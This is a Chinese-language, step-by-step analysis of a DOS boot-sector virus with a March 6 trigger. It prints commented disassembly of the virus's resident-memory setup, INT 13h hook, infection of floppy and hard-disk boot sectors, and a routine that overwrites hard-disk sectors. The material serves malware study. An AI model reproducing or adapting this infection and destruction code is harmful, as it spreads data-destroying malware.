|
MOV AX,[0413] ;取得内存K数,放在AX DEC AX ; DEC AX ;减2k内存 MOV [0413],AX ;存回,通常是638K MOV CL,06 ; SHL AX,CL ; MOV ES,AX ;算出减2K后病毒本体的位址 MOV [7C05],AX ;AX存入0105
;病毒常用手法将系统高段内存减少以便驻留 ;这样可以免于被其他程序覆盖
MOV AX,000E ;病毒拦INT 13H ;ISR起始的偏移量 MOV [004C],AX ; MOV [004E],ES ;设原为病毒的INT 13H MOV CX,01BE ;病毒长度为1BE MOV SI,7C00 ;从JMP 01AF开始 XOR DI,DI ;DI=0 CLD ;清方向标志 REPZ; MOVSB ;CX=1BE,将病毒自身搬移到高位址,目地是使其引导或 CS: ;分区表能载入0000:7C00正常运作 JMP FAR [7C03] ;跳到为搬过后的位址 XOR AX,AX ;清AX MOV ES,AX ;ES=0000 INT 13 ;复位磁盘 PUSH CS ; POP DS ;让DS=CS MOV AX,0201 ;用INT 13H读一扇区,是引导,或分区表则
MOV BX,7C00 ;读到0000:7C00 MOV CX,[0008] ;硬盘第0道,第7扇区 CMP CX,+07 ;比较是否从硬盘启动 JNZ 0213 ;不是跳0213 MOV DX,0080 ;第一硬盘C:第零面 INT 13 ;用INT 13号中断,读 JMP 023E ;跳023E比较日期,发作或正常开机 MOV CX,[0008] ;软盘0道,第3扇区 MOV DX,0100 ;A:的第0面 INT 13 ;INT 13读盘 JB 023E ;失败跳023E PUSH CS POPES ;让ES=CS MOV AX,0201 ; MOV BX,0200 ; MOV CX,0001 ; MOV DX,0080 ; INT 13 ;读入C:的分区表到0200,以便下面比较 JB 023E ;失败跳023E XOR SI,SI ;清SI CLD ;清方向标志以便比较 LODSW ;载入一个WORD到AX CMP AX,[BX] ;比较有无病毒存在..E9AC JNZ 0287 ;没有则跳0287传染 LODSW ;载入一个WORD到AX CMP AX,[BX+02] ;再次确认..0000 JNZ 0287 ;没有跳0287 XOR CX,CX ;清CX MOV AH,04 ; INT 1A ;取得日期 CMP DX,0306 ;是否为三月六日 JZ 024B ;是跳024B传染 RETF ;把程序交还给引导启动完成
步骤4:病毒INT 13代码分析 方法:U
PUSH DS ;首先把要用到积存器 PUSH AX ;入栈保存 OR DL,DL ;比较是否为软盘 JNZ 002F ;如不是则退出传染 XOR AX,AX ;AX=0 MOV DS,AX ;数据代段=0 TEST BYTE PTR [043F],01 ;比较是否为A盘 JNZ 002F ;不是则退出 POP AX ;将以上保存积存器 POP DS ;弹栈恢复 PUSHF ;压栈标志积存器 CS: ;以便执行原INT 13 CALL FAR [000A] ;执行原INT 13 PUSHF ;再次压栈 CALL 0036 ;以便跳转到传染程序 POPF ;跳转到执行传染 RETF 0002 ;结束中断调用返回 POP AX ;恢复 POP DS ;堆栈 CS: ;跳转到原正常INT 13 JMP FAR [000A] ;地址执行
;此段代码中展现了病毒常用手法,利用标志积存器做跳转
步骤5:传染过程分析 方法:U
对软盘传染过程:
PUSH AX ;工 PUSH BX ;作 PUSH CX ;寄 PUSH DX ;存 PUSH DS ;器 PUSH ES ;入 PUSH SI ;栈 PUSH DI ;保存 PUSH CS ;以压/弹栈方式 POP DS ;使数据段DS和 PUSH CS ;附加段ES均指向 POP ES ;代码段CS MOV SI,0004 ;试4次 MOV AX,0201 ;设置各 MOV BX,0200 ;积存器 MOV CX,0001 ;为读软盘 XOR DX,DX ;引导扇区做准备 PUSHF ;压栈标志积存器 CALL FAR [000A] ;正常的INT 13调用 JNB 0063 ;成功则转判断 XOR AX,AX ;不成功复位 PUSHF ;磁盘继续读 CALL FAR [000A] ;如果4次 DEC SI ;均匀不成功 JNZ 0045 ;则退出跳转 JMP 00A6 ;退出传染 XOR SI,SI ;SI=0以便用 CLD ;LODSW读入软盘 LODSW ;第1或第2字进行比较 CMP AX,[BX] ;比较如果不包含病毒标志 JNZ 0071 ;则跳转写传染 LODSW ;如果已有标志 CMP AX,[BX+02] ;则退出 JZ 00A6 ;传染子程序 MOV AX,0301 ;为写盘准备 MOV DH,01 ;如果是360K MOV CL,03 ;则写到1面0道3扇区 CMP BYTE PTR [BX+15],FD ;比较软盘 JZ 0080 ;如果大于360K MOV CL,0E ;写到1面0道14扇区 MOV [0008],CX ;写病毒标志到软盘 PUSHF ;调用原INT 13 CALL FAR [000A] ;进行传染 JB 00A6 MOV SI,03BE ;以下是将正常 MOV DI,01BE ;引导扇区从 MOV CX,0021 ;1BE起的21字节内容 CLD ;搬移到病毒程序尾部 REPZ ;开始复制 MOVSW MOV AX,0301 ;写盘功能调用,写一个扇区 XOR BX,BX ;将病毒程序 MOV CX,0001 ;写入软盘引导扇区内 XOR DX,DX ;设置为软盘 PUSHF CALL FAR [000A] ;执行正常INT 13调用写盘 POP DI ;将 POP SI ;工 POP ES ;作 POP DS ;寄 POP DX ;存 POP CX ;器 POP BX ;退 POP AX ;栈 RET ;返回调用处
对硬盘传染过程:
MOV CX,0007 ;第7扇区 MOV [0008],CX ;此处为硬盘引导标记 MOV AX,301 ;写功能调用 MOV DX,0080 ;设置为硬盘 INT 13 ;将正常引导扇区写到0面0道7扇区内 JB 13E ;失败则转 MOV SI,03BE ;原分区表地址 MOV DI,01BE ;目标地址 MOV CX,0021 ;整个分区表 REPNZ MOVSW ;开始复制
;此段代码是将硬盘分区信息,搬移到病毒程序尾部 ;这样在分析着查看硬盘分区信息时仍能看到该部分 ;内容,以次来麻痹分析者
MOV AX,0301 ;准备写病毒提进硬盘 XOR BX,BX ;病毒体位置 INC CL ;第一扇区 INT 13 ;开始写盘传染 JMP 013E ;转到13E处判断是否为3月6日,是则发作
步骤6:破坏过程分析 方法:U
主要分析对硬盘数据破坏:
. . . . . MOV DL,80 MOV BYTE PTR[0007],04
;准备写硬盘 MOV AL,11 ;写17个扇区 MOV BX,5000 MOV ES,BX ;从内存ES:5000中处开始写 INT 13 ;残不人睹 JNB 0179 ;成功转179继续写 XOR AH,AH INT 13 ;不成功复位磁盘继续 INC DH ;使写操作磁头加1继续? CMP DH,[0007] ;比较是否小于0007单元值 JB 0150 ;是则返回开始处继续写 XOR DH,DH ;DH=0 INC CH ;再加扇区 JMP 0150 ;反回继续写
|